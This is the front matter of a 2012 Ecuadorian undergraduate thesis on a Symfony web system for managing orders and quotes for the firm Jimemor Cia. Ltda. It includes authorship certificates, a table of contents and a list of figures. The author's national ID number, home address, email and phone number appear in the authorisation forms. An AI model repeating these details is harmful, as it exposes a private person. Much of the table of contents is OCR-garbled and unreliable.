UNIVERSIDAD TECNICA DEL NORTE
FACULTAD DE INGENIERIA EN CIENCIAS APLICADAS

CARRERA DE INGENIERIA EN SISTEMAS COMPUTACIONALES

TEMA

“SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS DINAMICAS POR INTERNET
PARA LA EMPRESA JIMEMOR CIA.LTDA UTILIZANDO SYMFONY?”

APLICATIVO

“DOSPARTU 1.0 SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS DINAMICAS
POR INTERNET”

Autor: Molina Bastidas Carlos Vladimir

Director: Ing. Marco Pusda

Ibarra — Ecuador

2012



CERTIFICACION

Certifico que la Tesis “SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS
DINAMICAS POR INTERNET PARA LA EMPRESA JIMEMOR CIALTDA
UTILIZANDO SYMFONY?”, con el aplicativo “DOSPARTU 1.0 SISTEMA DE GESTION
DE PEDIDOS Y PROFORMAS DINAMICAS POR INTERNET?”, ha sido realizada en su
totalidad por el sefior: Molina Bastidas Carlos Vladimir, portador de la cédula de Ciudadania
Nro. 0401573100.

Ing. Marco Pusda

Director de la Tesis



UNIVERSIDAD TECNICA DEL NORTE

o TECNI¢
P & GROWAB W Avh;f’v B
e N CESION DE DERECHOS DE AUTOR DEL TRABAJO DE
§ % INVESTIGACION
: Amlma 3
=] Q_ i3 m B
& Gl A FAVOR DE LA UNIVERSIDAD TECNICA DEL NORTE
Bt LS

Yo, Molina Bastidas Carlos Vladimir, con cédula de ciudadania Nro. 040157310-0,
manifiesto mi voluntad de ceder a la Universidad Técnica del Norte los derechos
patrimoniales consagrados en la ley de propiedad intelectual del Ecuador, articulo 4, 5y 6,
en calidad de autor del trabajo de grado denominado: “SISTEMA DE GESTION DE
PEDIDOS Y PROFORMAS DINAMICAS POR INTERNET PARA LA EMPRESA
JIMEMOR CIA.LTDA UTILIZANDO SYMFONY” con el aplicativo “DOSPARTU
1.0 SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS DINAMICAS POR
INTERNET?”, que ha sido desarrollada para optar por el titulo de Ingenieria en Sistemas
Computacionales, quedando la Universidad facultada para ejercer plenamente los derechos

cedidos anteriormente.

En mi condicion de autor me reservo los derechos morales de la obra antes mencionada,
aclarando que el trabajo aqui descrito es de mi autoria y que no ha sido previamente

presentado para ningun grado o calificacién profesional.

En concordancia suscribo este documento en el momento que hago entrega del trabajo

final en formato impreso y digital a la biblioteca de la Universidad Técnica del Norte.

-~

P

Molina Bastidas Carlos Vladimir
040157310-0

Ibarra, Diciembre del 2012



UNIVERSIDAD TECNICA DEL NORTE

,g,lffi'!i‘,;‘g i
5 s ¥
FAAD z BIBLIOTECA UNIVERSITARIA
: AN =
> &80 " AUTORIZACION DE USO Y PUBLICACION A FAVOR DE LA
St S UNIVERSIDAD TECNICA DEL NORTE

1. IDENTIFICACION DE LA OBRA

La UNIVERSIDAD TECNICA DEL NORTE dentro del proyecto Repositorio Digital

institucional determina la necesidad de disponer los textos completos de forma digital con la

finalidad de apoyar los procesos de investigacion, docencia y extension de la universidad.

Por medio del presente documento dejo sentada mi voluntad de participar en este proyecto, para

lo cual ponemos a disposicién la siguiente investigacion:

DATOS DE CONTACTO

CEDULA DE IDENTIDAD

040157310-0

APELLIDOS Y NOMBRES

MOLINA BASTIDAS CARLOS VLADIMIR

DIRECCION

JUAN MARTINEZ DE ORBE 6-34 Y VICTOR MANUEL
GUZMAN (CDLA DEL CHOFER SEGUNDA ETAPA)

EMAIL

cmolinabastidas@yahoo.com

TELEFONO FIJO

TELEFONO MOVIL

0986833092




DATOS DE LA OBRA

TITULO “SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS DINAMICAS
POR INTERNET PARA LA EMPRESA JIMEMOR CIA.LTDA
UTILIZANDO SYMFONY” CON EL APLICATIVO: “DOSPARTU 1.0
SISTEMA DE GESTION DE PEDIDOS Y PROFORMAS DINAMICAS
POR INTERNET”

AUTOR MOLINA BASTIDAS CARLOS VLADIMIR

FECHA Diciembre 2012

PROGRAMA PREGRADO

TITULO POR EL QUE | INGENIERIA EN SISTEMAS COMPUTACIONALES

DIRECTOR ING. MARCO PUSDA

2. AUTORIZACION DE USO A FAVOR DE LA UNIVERSIDAD

Yo, Molina Bastidas Carlos Vladimir, con cédula de ciudadania Nro. 04015730-0, en calidad de

autor y titular de los derechos patrimoniales de la obra o trabajo de grado descrito anteriormente,

hago entrega del ejemplar respectivo en forma digital y autorizo a la Universidad Técnica del

Norte, la publicacion de la obra en el Repositorio Digital Institucional y el uso del archivo digital

en la biblioteca de la universidad con fines académicos, para ampliar la disponibilidad del

material y como apoyo a la educacion, investigacion y extension, en concordancia con la Ley de

Educacion Superior Articulo 143.

Molina Bastidas Carlos Vladimir

040157310-0

Ibarra, Diciembre del 2012




DEDICATORIA

Dedico este trabajo de proyecto de tesis con mucho carifio a mi familia que son la base de mi
vida, en especial a mi padre y mi madre gracias a sus consejos y su apoyo incondicional he
podido conseguir este paso de gran trascendencia en mi vida personal, a mis amigos y
comparieros que con sus consejos y conocimientos hicieron posible llegar a la culminacion del

presente trabajo.

Un agradecimiento muy especial a DIOS, por guiar mis pasos.

Vi



AGRADECIMIENTO

A mis padres Vicente Jel Molina y Marina Bastidas, por siempre dar lo mejor de ellos, para
culminar con éxito esta etapa.

A mis hermanos, por su apoyo de una y otra forma, a toda mi familia.

A la UNIVERSIDAD TECNICA DEL NORTE por darme la oportunidad de estudiar y ser un
profesional.

A mis amigos y comparieros, a mi director de tesis Ingeniero Marco Pusda por su confianza y
apoyo a mi proyecto.

A la importadora Jimemor Cia.Ltda, que permitieron desarrollar este trabajo de tesis.

Son muchas las personas que han formado parte de mi vida profesional a las que me encantaria
agradecerles su amistad, consejos, apoyo, &nimo y compafiia en los momentos mas dificiles de
mi vida. Algunas estan aqui conmigo y otras en mis recuerdos y en mi corazén, sin importar en
donde estén quiero darles las gracias por formar parte de mi, por todo lo que me han brindado y

por todas sus bendiciones.

vii



indice de Contenido

1. INErOAUCCION.......ceeeeeeeeeeeeereeeiiciiiiieeiisiieeesssenanssesssssssssssssssssssssnsssssssssssnnssssssssssnns 2
1.1. Definicion del Problema.........cccoiiiiiimmeniiiiiniinnnmiisssmsss 2
3 R 0 ] 1= 4 Y o1 RRN 3

1.2.1. (0] o1y 1Yo X CT= o T=T | P PR 3
1.2.2. ObjetiVOS ESPECIICOS . uuiieiiii e ittt e e e e e e e e e e e e e et araeaeaaaas 3
0 TN 113 ) T or= Vo ' 3
O S N ot T Tl P 4

2. Symfony como Framework para Desarrollar aplicaciones Web ............................ 6
2.1, QUE S SYMIONY ..ttt rrneeerenstraseseasssensesenssssnssssnssssnnssssnsssensasannes 6
2.2. Caracteristicas de Symfony ........ccccciiiieeiiiiiiniiiiiniiiee s ressesssssnes 7
2.3.  Proyecto, Aplicacion y MOdUIO.........cccciiiiienniiiiiiniiiiiniiniieniniiesiisesssisssssseenes 8

2.3.1. [ L0Vt (o J U PUPPTPR 8
2.3.2. J Vo] [1or= Tl e o A PP P U P P PPPUPPUPPPPPPNY 8
2.3.3. 1Yo T 0] (o TP PP PP PPN 8
2.3.4. REPIESENTACION ..eeeiiieiei ettt e ettt e e e e e e e e e et a e et e e aaaaeeeeeeetbbraaeaeeaaaaaaaaaanns 8
2.3.4.1. Directorios en la Raiz de los Proyectos de Symfony .........cccoecvveeiiniiiiiinniiieeeniieeecee 9
2.3.4.2.  Estructura de cada ApliCACIiON ........euuiiiiiiiieeee e e e e e e nnees 10
2.3.4.3.  Estructura de Cada MOAUIO..........cceiruiiiiiiiiiiiie ettt sieee e s s sre e e e sbraeee s 10
2.3.4.4.  Estructura del SitIo WED ...ceeiiiiiiiiiee e 11

2.4. Herramientas COMUNES......ccccceiiiuuiiiienniieiienniisienuissiessssssiesssssssessssssssssssssssssssssssnes 11
2.4.1. Contenedor de PardmMeLrOs ......uieeiiiiiieiiiiiie ettt e e et ee e e s s sar e e s sabbaee s s nees 11
2.4.2. Constantes (CoNfIGUIrAaCIONES).........uuuiiiiiiieee ettt e e e e e e e e e e e ar e eeeeas 12
2.4.3. Carga AUtOMALICA e CIaSES .....cceeeiiiiiiieiee e e e e e e e e s e e e e e e e e e e e s eaaneaneeeeeas 12
2.5. INStalar SYMFONY ...cciiuuiiiiiiiiiiiiiiiiiiiininininras e resasisssesssisssesssssssanssssssanes 13
2.5.1. Crear una apliCaCion WED: . ... e e e e e e e ra e 14
2.5.2. (010 T T =Y o] o )Y/ =T ol o H S UPUPPUPPPPRt 14
2.5.3. (O 7T F I T o] [or= Yol T 2P 14
2.5.4. Configurar €l SErvidor WED: ..........uuiiiiiiiiiee e e e e e 14
2.5.5. Configurar un servidor VIirtuali.........oeeeiiiiiiieii e 15
2.6. Introduccion ala Creacion de Paginas ......cccccceeeeenerrenencieiennceneennnceseennnesseenssssennns 16
2.6.1. Crear el esqueleto del MOdUIO ........uuiiiiiiie e 16

viii



2.6.2. F N E o [T I - V=] o - S PUR 17

2.6.3. F AN R T T [TV o= 1Yol ol [ Y I SRR 18
2.6.4. ANAIr UNA PIantilla ....eeeeeeieeeeeeee e s 18
2.6.5. Transfiriendo Informacidn de la Accidn a la Plantilla .......cccveeeviiiieiiiniiiieeiiieecceiieeen 19
2.6.6. [ T=T 00 o] (o BT U U U U TS UPUPPPRO
2.6.7. o740 10| T4 T TR PPSPPPR
2 ST A R o 1= [ =Y PRSPPI
2.6.7.2.  Plantilla CoON HEIPET .....uuiiiiiiiie ettt e e e e e e e e e ettt e e e e e e e e e e e eannnns
2.6.8. Obteniendo informacién de la peticidn
2.6.9. Obteniendo Informacién de la Peticion
2. 7. MVC N SYMFONY ...iiiiiiiiiiiiiiiiieiieeieitneieteeassssesesssstenesssssenssssssensssssssnsssssannes 21
2.7.1. Y AV or @] o] - Yo [o ] USSP PPPPPPPPO 22
N O S 1 { o T PP PP PP P PP PPPPPPPPP 22
2.7.1.2.  EICONrolador Frontal........ccoeiiiieeiiiiiiiieeeiiiee ettt e e s s e e e s abaaee e s 22
2.7.0.3.  ACCIONES ittt e e e e e e e e e e e e e ettt et bttt e b b et b e e e e e e e e eeeeeeeeerreaaeee 23
2.7.1.4.  Accediendo @ 1a PELICION ....ciii it 25
2.7.1.5.  SESIONES 08 USUAIIO: teeeiiiiiiiiieiiiieee ittt e ettt e e s sttt e s sibreeessabreeesssabtaeessabbeeeesnaseaeees 26
2.7.2. Y A OV T - PP 27
R T o -1 o 1 - T USSR 27
N o 1= [ o1 USSR 27
2.7.2.3.  Layout de 1as PAGiNas ........eeiiiiiiiiiiiiiiiiiiiee ettt e e e e e e e e e et r e e e e e e e e e e nannnes 28
2.7.2.4.  Fragmentos de COAIZO ....cuueriiiiuiiieiiiiiiie ettt ettt et e e s st e e e e sabrneee s 28
2.7.2.8. 1.0 Partial oot e e s s e e e raee s 28
2.7.2.8.2.  COMPONENTES .uuiiiiiiiiiei ittt e et e e et e e e e ettt ae e e e e aar s e e eeatbaesaeaaestaneseeensannsaaans 30
. T o PP SPT 31
2.7.2.5.  Configuracion de 12 Vista........uueiiieeiiiieeeiiiiiiieeee et e e e e e e e e e s eeeeeeeeeeeens 33
2.7.2.6.  ELAIChiVO VIEBW.YMI ...ouiiiiiiiiiiiie ettt e e e e e e e e e ettt ar e e e e e e e e e e e e nnnnnes 33
2.7.2.7. El0Objeto respuesta (Fr€SPONSE):.....ccciiiiceiiiiiieeeee e e e e eeeeecetee e e e e e e e e e et rareeeeeaaaeeaeans 34
2.7.3. Y AV G [oTe [=] Lo B PO PP P PP PPRPPPP 35
2.7.3.1.  Esquema de Base de Datos ........ccccccuuriiiiiiiiee ettt e e e e e e e e e et r e e e e e e e e e e eannnes 35
2.7.3.2.  Las Clases del IMOEIO .......cceiiiiiiiiiiiiiiieeeee ettt e e e e e ere e e e e e e e e e e s siaees 37
2.7.3.3. ACCESO @ DAtOS...cciiiiiiiiiiiiiie e 38
2.8. Enlaces y Sistemas de Enrutamiento .........ccceeiiiiiuniininnniinieniiinienenesnens 41
b T 1= 4 =T - e [T TP 42
2.9.1. Yo=Y i (] (o [T = 0SSP PUPR 42
2.9.1.1.  Generando el SCaAfflolding ........ccuueeiiiiiiiiie e 43
2.9.1.2.  Iniciando el SCAffloldiNgG .....cevveeeiieeeeeee e e e 44
2.9.2. PV [0 11T =T e o PP 45
2.9.2.1. Creando la Parte de Administracion de las ApliCaCiones........ccceeveevireeeriiieereeenciieeen. 45
2.9.2.2. Configuracion Completa Tipica para el GENErador .........ccceeeeeeeeeeecciiiireeee e e e e eeeeeieens 47
3. Definicion de las Reglas del NegoCio ............eeeuueeeeeeneeeeenereeeencerenensenenasseseeeseneens 50

iX



20 I 'Y 4o Yo [T o ' Yo RN 50

3.2, Contexto EMPresarial ......cccceciiieeniiiiinniiiiiniiiniiniiniensiiienmienisiiesssssssssssnes 50
3.3. Objetivos del Producto .........ccieieuiiiiieniiiiiiinrensesrenessssenesesssenesssseensssssennsssssannes 51
3.4, ReESTIICCIONES ...cuuiieeiiiiniiiniiiieeiiieiiieeeteeitiasittnessrasssteassresssssasssrsessrasssssnsssenssssnsssns 51
3.5.  Reglas del NEEOCIO .......cerreeuuiiriieniirirencerereneerenanesrenessssrenassssensssssennsssssennsssssennes 51
3.6. Validacidn de Formularios con Symfony..........ccccceeirieenciirenecineeeniceneeenceneeesnesnennns 53
3.6.1. La clase base sTValidatorBase ........cceeeeiieeeeeciiiiiiieeeee et e e e e e e e e e e e e 53
3.7.  AccesO aBase de Datos.....ccccceiiieuiirireniiiiieiiiieneieireniesteneisssenesisssensssssssnsssssannes 55
3.7.1. U] (o T DT oL UPUPPUPPPPRRt 56
3.7.2. 7o ¢ -] gD F-) o L OO PP PPPPR R PPPPPPPINN 56
3.7.3. Obtener Regitros Mediante la clave Primaria ......ccccovveeeeeeeeieecccciieeeee e 57
3.7.4. Obtener Registros Mediante Criteria.......cccccceeeiieeiiieiiieiiceeceeeeerrr e e e e e e e e e e eeeeeees 57
3.7.5. Uso de Consultas con COAIZO SQL.....ceuiiiiiriiiiriiiiiiiieeeeeeeeeeirireeeeee e e e e e s ssserrrreeeeeeaeeeeenas 57
3.7.6. Coneccion con 1as Bases de Datos. ......vieeeeeeeeeeeiiciiiiiiieeee e e e e eeececieerree e e e e e e e e e e eennnaeneeeeeas 58
3.7.7. [T Yo [Tl 1Y oo =] [o TS PTTPRRR 58
3.8. Envion de correos y Notificaciones .........ccceeucierirenciiienecirienecinrenecesreneneeseennnessenens 59
3.8.1. Enviando emails desde un MOAUIO. ......ccoeeeeiiiiiiiiiei e 59
0= TR =Y - {114 T - Yo [ RORN 61
3.9.1. SESIONES B USUAIIO ..uuviiiiiiieeeeeeeeeciiiiiteee e e e e e e e e e e ettt e e e e eeaeeeeaeessasttsaaereeaeeeeeessnnssssssneees 61
3.9.2. SeguUIidad de 13 ACCION .....uiiieiiiiee et e e st e et bee e e s eene e e e e 62
3.9.3. Métodos de Validacion y Manejo de ErTOres .........ueeeeeeeieeeciviiiieieeeee e e e sscivveeeeeeeee e e 63
3.10. AViSOS QULOMALICOS ..ceeuuuiiiieneieiiiinieiiienieiiineieitrnnseriensssesiensssssssnsssssssnssssssannsnss 65
3.11. Generar proformas/Pedidos......ccceciiieiiiiiiiiiiriierierrererererereresesesesesesssese s e s e s e seseens 66
3.11.1. Caracteristicas del Documento Finalidad............cccovveieiiiiiiiiiiiceeeeeee e, 66
3.12. USUGEIOS teuuiiieeiiinniiieeniieniitnetensisrnsissnessrenssssnssssnssssnssssnssssssssssnssssnssssnssssnssssnnsses 67
3.13. =T 4 0 1o TN 67
4. Desarrollo de Modulos del Sistema ..............eeeeeeiiiiveeeuniiiissieeennssisssnnennosssssssssnnns 69
L Y Vo - 1| 1Y 13PN 69
4.1.1. ReqUISItOS FUNCIONAIES ...ttt e e e e e e e e e et reeaaaaeeaas 69
Se podrd volver siempre a la pdgina de inicio clickando en el logotipo. ..................... 70
4.1.2. Requisitos NO FUNCIONAIES .......coiiiiiiiiiiiiiee ettt e 72
4.1.3. Requisitos FUNCIONAIES AdMIN ...uviiiiiieii e e e e e e e e e e e e e e 73
4.1.4. Requisitos N0 FUNCIONAles AdMIN ......ooooiiiiiiiiiicccee e e e 80

V2 By SN T Y=Yl | { Tor- 11 o] o J PP PUOUP 80



4.2.1. Modelo ENtidad-RelIaCion ........cooeiiiiiiiiiiiiieeeecccee e 80

4.2.2. MOdEl0S A CaSOS A USO....uuuuiiiiiiiiiieieiiieiiiiiitt et e ettt e e e e e e e e s st beeeeeeeeeeeeenns 82
4.2.2.1.  Actores del SISTEMA ... ..ueiiiiiiiieie e e e s 82
4.2.2.2. Casode uso Sistema (Usuario Visitante).......ccccceeeeeeieeeeiiiiiiiieeeeee e seevirneeee e e e e e 84
4.2.2.3. Casos de Uso Sistema (Usuario registrado-Cliente) .........cccccvveeeeeeieeieiiiiciiiiiiieeeee e, 91
4.2.2.4. Casos de Uso AdmInistracion (SESION) .......cceeccvereeeeiuieeeeiiiieeeeeeiireeeesirreeesensreeessnnnnes 96
4.2.2.5. Casos de Uso AdmInistracion (USUAIIOS) .........uuveeeeeeeeeeieeiiiiirirreeeeeeeeessssnnnnsneeeeeeeeeeeans 97
4.2.2.6. Casos de Uso Administracion (Srupos) ......ccccuureeeeeeeeeeeeeeeiiiiieeee e e e e e e e eeeecnrrreeeeea e 100
4.2.2.7. Casos de Uso Administracion (Cat@ONias) ......ccurierrrrreeeiiirireeriiieeeessireeeessrreeeesanne 104
4.2.2.8. Casos de Uso Administracion (familias) ......ccccvveeeeeeeeiieeccicieece e, 106
4.2.2.9. Casos de Uso Administracion (agrupaciones) ........ceeeeeeeeecciuririeeieeeeeeeeeeeciireeeeeeeeenns 108
4.2.2.10. Casos de Uso Administracion (Productos) .......ccueeeeeeureeeeiiiiieeeeeiiieeeeesvveeeesvneens 113
4.2.2.11. Casos de Uso Administracion (PaiSES) .....cccvcccuvrriirireeeeeeeeeeiiiiieeee e e e e e e e e esennennenes 117
4.2.2.12. Casos de Uso administracion (Provincias) ....ccccuveeeeeeeeeeeeeeeiiiiiiiiieeeeeeeeeeeeeeensnnnnnes 120
4.2.2.13. Casos de Uso administracion (ZONAs) ........cccccuuriiiiieeeeeeeeeeecciiiee e e e e e e e ee e eanaaaees 123
4.2.2.14. Casos de Uso administracion (tEXT0S) ......cooevvuurvereeieeeeeeeeeeeecireeeeeeeeeeeeeeeenaneees 127
4.2.2.15. Casos de Uso administracion (SECCIONES) .......uuuuiireeeeeeeeeeeeiiiiiiiieee e e e e e e e eeeennennnnes 130
4.2.2.16. Casos de Uso Administracion (ClIentes)......ueeeivcveieeriiieee e 132
4.2.2.17. Casos de Uso Administracion (pedidos) ......ecevccveeeeeiiieee e i e 136

4.2.3. Diagramas de SECUENCIA.....ccccieuiiieiiieeiiieniiieeierenneienerenseerenssrneserensessnsesensansnnes 141
4.2.3.1.  ESCENAIIO REZISTIAr civvvueiiiiiiiiiiee it e et e e e et s e e e e aabeeeaeees 142
4.2.3.2.  ESCENArio BUSCAr PrOAUCEO ... .uuuiiiiiiiieiiiiiiiiiiiiceeeee et e e ireaneee e e e e 142
4.2.3.3.  ESCENArio IdeNtifiCarse ..c.ccevuriieeiiiiiie ettt e e s 143
4.2.3.4.  Escenario Confirmar PEAIAO .....ccivuuiieiiiiiee ittt s 144
4.2.3.5.  ESCENArio Alta Cat@ZONia ..ccccuuuueeiiiieeee ettt e e e e e e e e reeeaaaeas 145
4.2.3.6.  ESCENArio Baja Cat@gOria...ccccuurrrreeieeeeeeiiieciiiieeeeeee e e e e e e ssstrrereee e e e e e e e e eennanenneeeeaaeens 146
4.2.3.7.  ESCENArio Alta ProdUCTO ...ccuuviieeiiiiiiie ettt ettt e e s st e e s sabaee e s sanne 147
4.2.3.8. Escenario Baja Producto ..........coooiiiiiiiiiiiiicere e 148
4.2.3.9. Escenario Listar Usuarios Registrados .........cc.uueeeieeeeeeiesiiiiiiiieeeee e e e e e eeecneeneeeeeeee s 149
4.2.3.10. Escenario Eliminar Usuarios Registrador ..........cccecceviiiieiiiee e cccirieeeee e e 150
4.2.3.11. Escenario Listar PEAIAOS ....cceiiieiiiiiiiiiiiieeeeee ettt e e e e e 151
4.2.3.12. Cambio de estado Pedido ........ccouiiiiiiiiiiiiee e 152

L T 0 17 -1 o o T 154

4.3.1. ArquiteCtura IMURICAPA ..vveeieeee et e e e e e e e e e et r e e e e e e e e e e e e eanaraaaes 154

4.3.2. (O T oF: e [l o =T= o Yol o J U PUUSPRRRPPOt 155

4.3.3. (0 o e [l o T =] =1 0 - o] (o] o H PRSPPI 156

4.4,  IMPIementacion .....cccccciiieuiiiiiiuiiiiiiiieiiiieirerenistennisttesisttessissssnsssssaanes 160

L T =T T4 =T 4 - T 162

5. Conclusiones y RecoOmMendaCioNes.............ceueeeeeeeeenereenereenereesereensreeseseesernensennnes 164
0 S 0 T4 Vo 1¥ 3 T T 164

xi



5.2 [ =Yoo 3 4 T=T 2T = ol Lo 3 1=
6.  BibDliOGrAfiQsS.......cceeeueeeeeuureereeeeeeteesererunseseenssessenmssesssessesesnsssssssssssssnsssssensssesennns
2B - V1 1= (o X3RN

xii



indice de figuras

Figura 1 Pantalla de SYMFONY ...cccveecseisersinsiisnssiisiisiniissisinsscssissessissssssissssssssssssssssssssessssssssssssssssssssnss 6
FIQUIa 2 MOGEIO MV C ...ueeerieeiercirieniesntneinsnsscnssssnsssnessssssnsssssessssssssssssssssssssssssssssssssssssnssssssssssssasssnses 7
Figura 3 EStruCtura de UN PrOYECIO....cccreecererrsreessensesnressessssssnssessessssssnssssssssssssassssssssssssssssnssssssssasssasssses 9
Figura 4 Creacion proyecto SYMTONY.......ceeceerereerenrseremsserenssesennssnssnresssssssssssssssssssssorssssssssasssssssnsssssonsses 16
Figura 5 Plantilla global proyecto SYMfONY......ccceecerecireieirnssnrssnrnsnnssnnesrssnnssnssnsssssssssssssssssssssssssssns 28
FIQUIA 6 PArti@l....ceceeeceerenrrceeireerrennenesseessnnsesssssesssssssnssssessssssssssssessssssnssssssssssssasssssssssessssssassssssssssssasssns 29
LT (UL A O] T o o] g T=T o R 31
Figura 8 SIOt 0 PAGING ..ccceverviiressesisnsrisinsinissinsississsssssssssstsstssssstsssssssssssssssssssssssssssssssssssssssssssssssssssssns 32
Figura 9 EJemplo d€ ESUUEIMA ..cceereeeereerrenreersreessnmseensessessssssassessssssesssssssssssssssssssassssssssssssasssassssssssassses 35
Figura 10 ORM PrOPEI eeeeeeeeeeiiiiesiestst sttt sttt sese s s sas s s s s s s sas s s s s ss s nsaes 41
FIQUra 11 VISA HISE weveuerseiserssiisinsnisiissnssinssissiisssssissssssssssssssssisssssssssssssssssssssssssssssssssssssssssssssssssssssssssssses 43
FIQUIA 12 LSt SNOW .ceueereureerresreercnnrenessnesennsesneesenssnssssnssssessssssassssssssssssassssssssssssssssnsssssessssssassssssssssssnsssas 43
FIgura 13 EICION €UIE ..eecveeereerreercerreeesseessenreerssenssnnsssssssesssesssssssssssssssssssssssssssssssssssssssessasssassssssssssssassses 44
Figura 14 AdMINISIrACION ..cccecviversesisunsrisinsinsinsinsississssssissssstssissssstsssssssssssssssssssssssssssssssssssssssssssssssssssssss 46
Figura 15 Proceso ValidaCiOn ......ccceeceeerverremrenresnessenssnnesnesssnsssssssssssessssssssssssssssssssssssssssssssassssssssssssssssns 64
Figura 16 BASE DE DATOS DEL APLICATIVO...uiicerirereesnrcnsnnrenssssecnssesssssssssssssssssssssssssssssses 81
Figura 17 Cas0 USO USUAIIOS c.ceeureuerssrssrsssrssrssesssnsssssssssnssssssnsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssses 82
Figura 18 Caso de USOS Jel SIStEM@ ...cecrverrrrecrrssnrermnssnresnessenssnsssnssssnssonssssssssssosssassssssssssssassssssssssssonssns 83
Figura 19 Casos de USO USUQIIO VISIEANTE ...........eeeeeeeeerrreeeeessrsssnneeessssssssssssssssnnssssssssssssssssssssssssssssssssssns 84
Figura 20 Usuario registrado/ClIEN .. .. uieecsiiserserseriersinsinsisirsesenssnssssesssississsessssssssssssssssssssnssssssnsses 91
Figura 21 Caso de uso AAMINIStraCioN SESION ...cccceereerereesrvessensenresnessenssssssssnsssssssnsssssssssssassosssssssssesssns 96
Figura 22 Casos de USO AdMINIStraCiOn USUAKIOS...ceceeereeerersrenresreserssessesnssssnsssnssssssssessssssassssssssssssasssns 97
Figura 23 Casos de Uso AAMINISraCion QrUPOS .ecceceeeeeemrserssmsseessesssessesssrsssssssssessssssessssssssssssssssessens 100
Figura 24 Casos de uso administracion CategOriaS .......cecceeceererreesserserssesserssnssessenssessesssessesssessanssesens 104
Figura 25 Casos de uso Administracion familiaS .....cccccceecerecerererereessenreereseessnnssnssseessnessnnsessessnsssnnss 106
Figura 26Casos de uso administracion agrupPaCiONES .......ceeceerereeessesserssesserssesserssessesssssssssosssessorssesens 108
Figura 27 Casos de uso administracion ProdUCLOS .......ccceveesesecensersessessssssssssssssnssnsessessesssssssssssssssnns 113
Figura 28 Casos de uso adminiStraCion PAISES .....cceccerereerrerrrensesnesseesransesnrsserssasssssssssessasssasssssessesssnses 117
Figura 29 Casos de usos adminiStracion ProvVinCias ...............ccccceeeeeeeeeeeesssssssccnsseesssssssssssssssssssssssssses 120
Figura 30 Casos de uso adminiStraCion ZONAS ......cccecersersissesssssesenssnsensessesssssssssssssssssssesssssssssssssssssssnns 123
Figura 31 Casos de uso adminiStraCion tEXI0S .....ccceecererveereerennresnrsseessnnsesereseessnsssnnssseessnsssnssssssssnssanse 127
Figura 32 Casos de uso adminiStracion SECCIONES ...cceeeveeererrrenrrrersrerssensssesssssssensssnsssssssssssenssssssnsesens 130
Figura 33 Casos de Uso AdMINiStracion CHIENLES ......ccevrvirsessnsuesensersinsissississsssnssssensessessesssssssssssssasnns 132
Figura 34 Casos de Uso AdmMinistracion Pedidis ......ccceecveerereeresnrssnessnnsenrssnessenssssssssssssssossessessssssonss 136
Figura 35 ESCENAIIO REQISIIAI  ..cccveeeverrrerreersrenssnnscennsseessenssnsssssssssesssssssssssssssassssssssssssassssssssssssasssnses 142
Figura 36 EScenario BUSCAr PrOGUCTO ....cccceeeesimsuessissersinsinssississsessisssessisssssssssssssssssssssssssssssssssssssens 143
Figura 37 ESCENArio IAENLIfICAISE ...ccccceecerecerrrresrensrnrenessnnsenrsssessnessnnsenssssessnsssssssssessssssassssssssssssanss 144
Figura 38 Escenario Confirmar PEAIO  ...cccceeveeererrreereersserssensessssenssensssssessssssssssssssssssssssessssssensessens 145
Figura 39 ESCenario Alta CatEgOria ....cceceeceererrerssesserssesserssessnsssnssessesssesserssssssssssssssssssssssssssessessssssnes 146

xiii


file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333458
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333459
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333460
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333461
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333462
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333463
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333464
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333465
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333466
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333467
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333468
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333469
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333470
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333471
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333472
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333473
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333474
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333475
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333476
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333477
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333478
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333479
file:///D:/TESIS-SYMFONY/DOSPARTU-1-0/Tesisis%20Para%20Imprimir30-11-2012.docx%23_Toc342333480
